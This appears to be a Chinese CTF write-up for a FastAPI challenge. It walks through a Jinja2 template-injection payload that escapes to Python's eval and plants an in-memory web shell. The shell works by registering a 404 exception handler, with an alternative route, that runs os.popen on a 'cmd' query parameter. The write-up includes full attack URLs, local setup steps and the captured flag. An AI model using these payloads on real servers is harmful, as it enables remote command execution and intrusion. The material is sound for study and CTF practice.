[玄武杯 2025]ez_fastapi

源码空空先爆破

  • /docs 和 /docs/: 返回了 200 和 307 状态码,讲明网站存在一个文档页面。307 表示临时重定向,通常是为了规范 URL 格式
  • /openapi.json: 返回 200,这一个非常关键的文件。它是 OpenAPI 规范文件(通常用于 Swagger 或 FastAPI 等框架),里面详细记录了该网站所有 API 接口的路径、请求方法、参数结构等信息。
  • /redoc: 返回 200,这另一个常见的 API 文档展示页面,通常与 /openapi.json 配合使用,将 JSON 数据渲染成人类可读的网页。

访问后按钮不能点击,修改前端代码

本题无回显,看附件

http://node1.anna.nssctf.cn:20666/shellMe?username={lipsum.__globals__[%27__builtins__%27][%27eval%27](%22sys.modules[%27app%27].app.add_exception_handler(404,lambda%20request,exc:sys.modules[%27app%27].app.__init__.__globals__[%27JSONResponse%27](content={%27message%27:__import__(%27os%27).popen(request.query_params.get(%27cmd%27)%20or%20%27whoami%27).read()}))%22)}

http://node1.anna.nssctf.cn:20666/shellMe?username={lipsum.__globals__[%27__builtins__%27][%27exec%27](%22app=sys.modules[%27app%27].app;app.middleware_stack=app.build_middleware_stack()%22)}

find / -name "*flag" 2>/dev/null

cat 过滤了

看环境变量

NSSCTF{a906440e-e9b6-43db-a105-8e1360b38bbe}

搭建本地环境

创建工作区

复制源码

打开终端,进入项目目录,执行以下命令安装必要的库:

pip install fastapi uvicorn jinja2

这会安装 FastAPI 框架、Uvicorn 服务器和 Jinja2 模板引擎。

python -m uvicorn app:app --reload

微调代码方便交互

找到原异常处理器,#ta,让他正常报错

@app.exception_handler(404) async def handler_404(request, exc): return JSONResponse( status_code=404, content={"message": "Not found"} )
@app.get("/shellMe")  
async def shellMe(username="Guest"):  
    Jinja2.from_string("Welcome " + username).render()  
    print(Jinja2.from_string("Welcome " + username).render()) #添加交互反馈 
    return HTMLResponse(content="<h1>Welcome!</h1><p>Request processed.</p>")

访问URL

http://127.0.0.1:8000/shellMe?username={7*10}

环境搭建完成!

完整Payload

根据你的代码:

  1. 模块名:‘app’ (因为你用 uvicorn app:app 启动)
  2. 实例名:‘app’ (代码中 app = FastAPI())
  3. 分隔符:‘{’ 和 ‘}’ (自定义配置)
  4. JSONResponse:已导入 (from fastapi.responses import HTMLResponse, JSONResponse)

【第一部分:注入异常处理器】

http://127.0.0.1:8000/shellMe?username={lipsum.__globals__['__builtins__']['eval']("sys.modules['app'].app.add_exception_handler(404,lambda%20request,exc:sys.modules['app'].app.__init__.__globals__['JSONResponse'](content={'message':__import__('os').popen(request.query_params.get('cmd')%20or%20'whoami').read()}))")}
可读版:需要404触发
{lipsum.__globals__['__builtins__']['eval'](
    "sys.modules['app'].app.add_exception_handler(
        404,
        lambda request, exc: sys.modules['app'].app.__init__.__globals__['JSONResponse'](
            content={'message': __import__('os').popen(request.query_params.get('cmd') or 'whoami').read()}
        )
  
  )
")}

【第二部分:重建中间件栈】

http://127.0.0.1:8000/shellMe?username={lipsum.__globals__['__builtins__']['exec']("app=sys.modules['app'].app;app.middleware_stack=app.build_middleware_stack()")}
可读版:
{lipsum.__globals__['__builtins__']['exec'](
    "app = sys.modules['app'].app;
     app.middleware_stack = app.build_middleware_stack()"
)}

【完整测试步骤】

步骤1:先访问第一部分的URL

→ 浏览器应该显示 “Welcome Guest” 或类似内容

→ 这说明异常处理器已注入

步骤2:再访问第二部分的URL

→ 浏览器应该显示 “Welcome Guest”

→ 这说明中间件栈已重建


步骤3:访问一个不存在的路径测试内存马

http://127.0.0.1:8000/test?cmd=whoami

→ 应该返回JSON:{“message”: “你的用户名”}

构造playload原理

因为

def method_disabled(*args, **kwargs):  
    raise NotImplementedError("此路不通!该方法已被管理员禁用。")  
  
app.add_api_route = method_disabled  
app.add_middleware = method_disabled

应该选择别的函进行路由注册。

app.add_exception_handler这里用这个

add_api_route

add_api_websocket_route

查找看源码

# 1. 导入 FastAPI
from fastapi import FastAPI

# 2. 导入查看工具
import inspect

# 3. 打印源码
print(inspect.getsource(FastAPI.add_exception_handler))

可读版:需要404触发
{lipsum.__globals__['__builtins__']['eval'](
    "sys.modules['app'].app.add_exception_handler(
        404,
        lambda request, exc: sys.modules['app'].app.__init__.__globals__['JSONResponse'](
            content={'message': __import__('os').popen(request.query_params.get('cmd') or 'whoami').read()}
        )
  
  )
")}

第一步:先写“核心功能”(最里面)

不管外面包了多少层,核心目的只有一个:执行命令并返回结果

我们先写一个普通的 Python 函数(假ru我们已经有了 requestos):

# 核心代码
os.popen(request.query_params.get('cmd')).read()

因为我们要返回给浏览器,所以得包装成一个 Response 对象:

# 进阶核心代码
JSONResponse(
    content={'message': os.popen(...).read()}
)

遇到的第一个问题:题目环境里可能没有直接导入 osJSONResponse

解决

  • os 用 __import__('os') 代替。
  • JSONResponse 要去 FastAPI 的全局变量里找。

第二步:解决“依赖从哪来”(中间层)

怎么找到 JSONResponse

既然它在 app 对象里(因为源码导入了),我们就通过 app 去拿。

寻找路径

  1. 先拿到 App 实例:sys.modules['app'].app
  2. 找到 App 初始化函数所在的命名空间:.__init__.__globals__
  3. 从这个空间里拿 JSONResponse['JSONResponse']

    于是,核心代码就变成了这个长串:
sys.modules['app'].app.__init__.__globals__['JSONResponse'](
    content={'message': __import__('os').popen(request.query_params.get('cmd')).read()}
)

遇到的第二个问题:还没挂载到 FastAPI 上。

第三步:解决“挂载到哪里”(外层逻辑)

我们要把上面的代码塞进异常处理函数里。

FastAPI 要求异常处理函数长这样:lambda request, exc: ...

于是我们把它包起来:

lambda request, exc: sys.modules['app'].app.__init__.__globals__['JSONResponse'](
    content={'message': __import__('os').popen(request.query_params.get('cmd')).read()}
)

然后把它注册给 App:

sys.modules['app'].app.add_exception_handler(
    404, 
    前面那个lambda
)

遇到的第三个问题:怎么让这段代码在服务器上跑起来?我们需要“执行权”。

最后一步:解决“执行权”(最外层沙箱逃逸)

我们需要一个能执行字符串代码的函数。在 SSTI 里,lipsum.__globals__['__builtins__'] 里藏着 eval

所以最后再包一层:

lipsum.__globals__['__builtins__']['eval'](
    "前面那一整串代码"
)

其他方法的

lipsum.__globals__['__builtins__']['eval']
("sys.modules['app'].app.router.add_route(
    '/shell',
    lambda request: __import__('starlette.responses', fromlist=['PlainTextResponse']).PlainTextResponse(__import__('os').popen(request.query_params.get('cmd', 'whoami')).read()),methods=['GET']
    )
")
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值